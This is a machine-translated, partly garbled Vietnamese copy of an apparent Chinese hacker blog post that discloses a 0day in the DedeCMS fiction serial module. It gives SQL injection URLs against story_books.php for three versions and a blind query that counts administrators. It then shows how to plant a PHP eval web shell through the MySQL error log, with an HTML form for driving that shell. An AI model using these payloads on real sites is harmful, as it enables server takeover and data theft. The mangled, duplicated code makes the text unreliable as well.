Tác giả: st0p
Có thể được sao chép, nhưng xin vui lòng tham khảo http://www.st0p.org

Khi lỗ tại zai DEDECMS module đăng tiểu thuyết, như là quá lâu DEDECMS 安装 Shixuan Xiaoshuilianzai module, sau đó có vấn đề, theo một số phiên bản khi có điều kiện trực tiếp có thể mất SHELL oh.
st0p tóm tắt những điều kiện điều kiện sử dụng 1: Khi máy chủ thiết lập PHP magic_quotes_gpc = Off
Điều kiện 2: khi cài đặt chọn mục tiêu DEDECMS viễn tưởng nối tiếp module

Trước tiên chúng ta nhìn vào DEDECMS 5.1, kênh tiểu thuyết của mình và DEDECMS 5.3.1, DEDECMS 5,5 khác nhau, bởi vì tập tin của mình trong thư mục tập tin thành viên dưới đây đã là thành viên / story_books.php, trong khi DEDECMS 5.3.1 và DEDECMS 5,5 file Trong cuốn sách thư mục, tập tin là cuốn sách / story_books.php
Bởi vì code bên trong cũng tương tự như vậy, chúng ta hãy xem xét một story_books.php trên đường dây

  1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 if ( ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在,不存则则给初使值 if ( ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在,不存则则给初使值 if ( ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在,不存则则给初使值 if ( ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在,不存则则给初使值 ...... if ( $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; //变量$catid不为0时,就直接把$catid给$addquery了,没有验证 if ( $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; //变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证 $query = " Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b left join #@__story_catalog c on c.id = b.catid where memberid= {$cfg_ml->M_ID} and b.id>0 $addquery $orderby " ; //生成了语句 ...... ?> <......? Php if (/! Isset ($ action)) $ action =''; / phát hiện sự tồn tại của biến $ hành động, không tồn tại sau đó là sớm để làm cho giá trị nếu ()! Isset ($ catid) $ catid = 0; / / phát hiện sự tồn tại của biến $ catid, tiền gửi không có được sau đó thực hiện cho giá trị ban đầu if (! isset ($ từ khoá)) $ từ khóa = ""; / / phát hiện sự tồn tại của biến $ từ khóa không tồn tại thì Để lại sớm để các giá trị if (! isset ($ orderby)) $ orderby = 0; / / phát hiện sự tồn tại của biến $ orderby, không tồn tại sau đó là sớm để làm ...... giá trị if ($ catid! = 0) $ addquery .= "Và (b.bcatid = '$ catid' Hoặc b.catid = '$ catid')"; / / biến $ catid không phải là 0, chỉ đạo $ catid đến $ addquery, và không xác minh, nếu ( $ từ khóa "! =") $ addquery .= "Và (b.bookname như '% $ từ khoá%' Hoặc b.author như '% từ khoá %')"; / / biến từ khoá $ $ không rỗng, chỉ đạo đến $ addquery đến $ từ khóa, và không xác minh $ query = "Chọn b.id, b.catid, b.bookname, b.booktype, b.litpic, b.postnum, b.senddate, b.ischeck, c.id như cid, c.classname Từ # b __story_books @ trái join # c @ __story_catalog trên c.id = b.catid nơi memberid = ($ cfg_ml-> M_ID)b.id> 0 addquery $ $ orderby "; / / thế hệ một tuyên bố ......?> 

Các mã ở trên để nhìn thấy nó, Ga, catid, và từ khóa là không được lọc, do đó làm tăng tiêm, nhưng tuyên bố dường như gây ra rắc rối nhỏ, điều này là không thảo luận trong phạm vi bài viết này, chúng tôi đưa ra một ví dụ nhỏ của một thử, hãy làm như sau Sau khi thử nghiệm hạ cánh trực tiếp đăng ký một tài khoản, đăng nhập, sau đó nhập địa chỉ sau vào nó

DEDECMS 5,1

1 thử nghiệm, các biến catid tại địa chỉ sau
http://st0p:88/dedecms51/member/story_books.php?catid=10 ') hoặc (' st0p '=' st0p

dedecms-fiction-serial-module-0day1

2 thử nghiệm, các biến từ khóa tại địa chỉ sau
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p% 'hoặc c.classname như'% st0p

dedecms-fiction-serial-module-0day2

DEDECMS 5,31

1 thử nghiệm, các biến catid tại địa chỉ sau
http://st0p:88/dedecms53/book/story_books.php?catid=10 ') hoặc (' st0p '=' st0p

dedecms-fiction-serial-module-0day3

2 thử nghiệm, các biến từ khóa tại địa chỉ sau

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% 'hoặc c.classname như'% st0p
dedecms-fiction-serial-module-0day4

DEDECMS 5,5

1 thử nghiệm, các biến catid tại địa chỉ sau
http://st0p:88/dedecms55/book/story_books.php?catid=10 ') hoặc (' st0p '=' st0p

dedecms-fiction-serial-module-0day5

2 thử nghiệm, các biến từ khóa tại địa chỉ sau
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p% 'hoặc c.classname như'% st0p
dedecms-fiction-serial-module-0day6

Xem, ba phiên bản tồn tại, tuy nhiên, bởi vì các phiên bản được DEDECMS vào báo cáo thực hiện về vấn đề giới hạn của thử nghiệm của họ tất cả vào nó, st0p không nói về nó.
Trong thực tế, khoảng miễn là chúng tôi hoạt động trên một số trạm có thể nhận được quyền truy cập, hãy ghi nhớ rằng PHP MYSQL lỗi viết vào log file hậu tố để các BUG nó, 5,1 nếu không tính năng như vậy, không patch 5,31, sau đó là có, nếu vá ngày sẽ được giống như 5,5, các hậu tố thay đổi tên để INC, do đó, mặc dù câu có thể được viết thành ngựa, nhưng không thể sử dụng. . . Xin lỗi ah, nếu phát hiện sớm ngay cả là thông qua giết chết. . .

DEDECMS 5,31
bao gồm / dedesql.class.php file

  1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
  ......
	 / / Hiển thị thông báo lỗi liên kết dữ liệu
	 $msg ) DisplayError chức năng ($ msg)
	 (
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 $ ErrorTrackFile = dirname (__FILE__ ).'/../ liệu / mysql_error_trace.php '; / / Đây là phần mở rộng PHP
		 '' ; $ Emsg ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ Emsg .= "<div> <h3> Cảnh báo Lỗi DedeCMS r! </ H3> \ \ n";
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ Emsg .= "<a <div> class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'> Hỗ trợ kỹ thuật: http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ Emsg .= "<div style='line-helght:160%;font-size:14px;color:green'> \ r \ n";
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ Emsg .= "<div style='color:blue'> <br /> Lỗi trang: <font color='red'>". $ Này -> GetCurUrl () <. "/ Font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ Emsg .= "Lỗi <div> infos: ($ msg) </ div> \ r \ n";
		 "<br /></div></div> \r \n " ; $ Emsg .= "<br /> </ div> </ div> \ r \ n";

		 ; echo $ emsg;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg 'Page =:':. $ Này -> GetCurUrl (). "\ R \ n Lỗi". $ Msg;
		 / / Lưu lỗi MySql đăng nhập
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = @ fopen ($ errorTrackFile, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fwrite ($ fp, '<'?. 'Php' \. "R \ n / * \ r \ n ($ savemsg) \ r \ n * / \ r \ n.?" "> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 )
 ...... 

DEDECMS 5,5 và vá
bao gồm / dedesql.class.php file

  1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
  ......
	 / / Hiển thị thông báo lỗi liên kết dữ liệu
	 $msg ) DisplayError chức năng ($ msg)
	 (
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 $ ErrorTrackFile = dirname (__FILE__ ).'/../ liệu / mysql_error_trace.inc '; / / hậu tố vào INC
		 file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在,删除文件 if (file_exists (dirname (__FILE__ ).'/../ dữ liệu / mysql_error_trace.php ')) / / Nếu mysql_error_trace.php tồn tại, xóa các tập tin
		 (
			 ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; @ Bỏ liên kết (dirname (__FILE__ ).'/../ liệu / mysql_error_trace.php ');
		 )
		 '' ; $ Emsg ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ Emsg .= "<div> <h3> Cảnh báo Lỗi DedeCMS r! </ H3> \ \ n";
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ Emsg .= "<a <div> class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'> Hỗ trợ kỹ thuật: http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ Emsg .= "<div style='line-helght:160%;font-size:14px;color:green'> \ r \ n";
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ Emsg .= "<div style='color:blue'> <br /> Lỗi trang: <font color='red'>". $ Này -> GetCurUrl () <. "/ Font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ Emsg .= "Lỗi <div> infos: ($ msg) </ div> \ r \ n";
		 "<br /></div></div> \r \n " ; $ Emsg .= "<br /> </ div> </ div> \ r \ n";

		 ; echo $ emsg;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg 'Page =:':. $ Này -> GetCurUrl (). "\ R \ n Lỗi". $ Msg;
		 / / Lưu lỗi MySql đăng nhập
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = @ fopen ($ errorTrackFile, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fwrite ($ fp, '<'?. 'Php' \. "R \ n / * \ r \ n ($ savemsg) \ r \ n * / \ r \ n.?" "> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 )
 ...... 

Đọc đoạn code trên, chúng tôi nhìn thấy nó, vá 5,5 và 5,31 sẽ là trường hợp, không thể sử dụng, chúng ta nói rằng khoảng 5,31 khi phương pháp này có thể được sử dụng.
Sử dụng phương pháp

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% '* / eval ($ _POST [st0p ]);?>

dedecms-fiction-serial-module-0day7

Hei hei. Vì vậy, chúng tôi nhận được một SHELL
Word địa chỉ http://st0p:88/dedecms53/data/mysql_error_trace.php
Chúng tôi POST để gửi dữ liệu trực tiếp trên dòng, 5,5 DEDECMS sử dụng như nhau, nhưng vì mã, vì vậy tôi tạo ra các file đuôi là INC, không được sử dụng, sau đây là trình mã HTM, chỉ cần lấy mẫu sau đây địa chỉ duy nhất bạn có thể thay thế

  1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > < html xmlns = "http://www.w3.org/1999/xhtml" > < head > < meta http - equiv = "Content-Type" content = "text/html; charset=utf-8" /> < meta name = "author" content = "st0p,st0p.org" /> < title > st0p一句话提交</ title > </ head > < body > <!-- http : //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> < form id = "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > < p > < label > < textarea name = "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > </ label > </ p > < p > < label > < input type = "submit" name = "button" id = "button" value = "提交" /> </ label > </ p > </ form > </ body > </ html > <-! DOCTYPE html PUBLIC "/ / W3C / / DTD XHTML 1.0 Transitional / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns = "http : / / www.w3.org/1999/xhtml "> <head> http-equiv <meta =" Content-Type "content =" văn bản / html; charset = utf-8 "/> <meta name =" tác giả " nội dung = "st0p, st0p.org" /> <title> st0p từ trình </ <> Tiêu đề / head> <body> <http:/! - / st0p: 88/dedecms53/data/mysql_error_trace.php thay thế địa chỉ của bạn -> <form id = "form1" tên = "form1" phương pháp = "post" hành động = "http://st0p:88/dedecms53/data/mysql_error_trace.php"> <p> <label> < textarea name = "st0p" id = "st0p" cols = "45" hàng = "5"> echo phpinfo (); </ textarea> </ label> </ p> <p> <label> <input type = " submit "name =" nút "id =" nút "giá trị =" submit "/> </ label> </ p> </ form> </ body> </ html> 

Tất nhiên còn có những tài liệu giả tưởng nối tiếp cùng một mô-đun vấn đề tồn tại, các tập tin sau đây tồn tại một số
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

Ban đầu nghĩ về xuất bản này 0DAY, và hey, nhưng ngẫu nhiên Thoughts trên giao lộ của gia súc hơn X điểm bạn bè, chia sẻ thông tin, vì vậy chúng tôi quyết định vấn đề đưa ra sau khi một số của nó trên các chất béo thấp. . .
Có những vấn đề chúng ta có thể thảo luận trong BLOG của tôi!

Lưu ý: Bài báo được công bố, một người bạn của tôi nói rằng sau khi đọc rằng đây là vô vị, bởi vì nhiều máy chủ được magic_quotes_gpc = On trường hợp, mà tôi không có ý định tranh luận, nhưng tôi đã viết câu hỏi là không tồn tại, nhưng muốn sử dụng một số các điều kiện cần thiết và, trong phiên bản 5,1 của phía trước có thể được thêm nếu các cuốn sách nối tiếp, sau đó, có một số sử dụng trong 5,31 và 5,5 của SQL để lọc các từ khóa nhất định, nó cũng giống như không có cách nào, chúng tôi lên phiên bản 5,1 để phát hiện một số quản lý thành viên chẳng hạn.
1, chúng tôi muốn thêm một cuốn sách nối tiếp
2, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') hoặc (chọn count (*) từ dede_admin)> 0 hoặc (' st0p '=' st0pa
dedecms-fiction-serial-module-0day8
3, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') hoặc (chọn count (*) từ dede_admin)> 1 hoặc (' st0p '=' st0pa
dedecms-fiction-serial-module-0day9

Ga, các kết luận trên là con số đó là một quản trị viên. . .
Lấy ví dụ này là, trên thực tế, dễ bị tổn thương có thể xảy ra bất cứ lúc nào, nhưng quan tâm đến môi trường là khác nhau với các hiệu ứng khác nhau, đôi khi vô vị sử dụng là một điều tốt là sẽ có thu hoạch. . .

Bạn có thể quan tâm trong bài viết sau đây ↓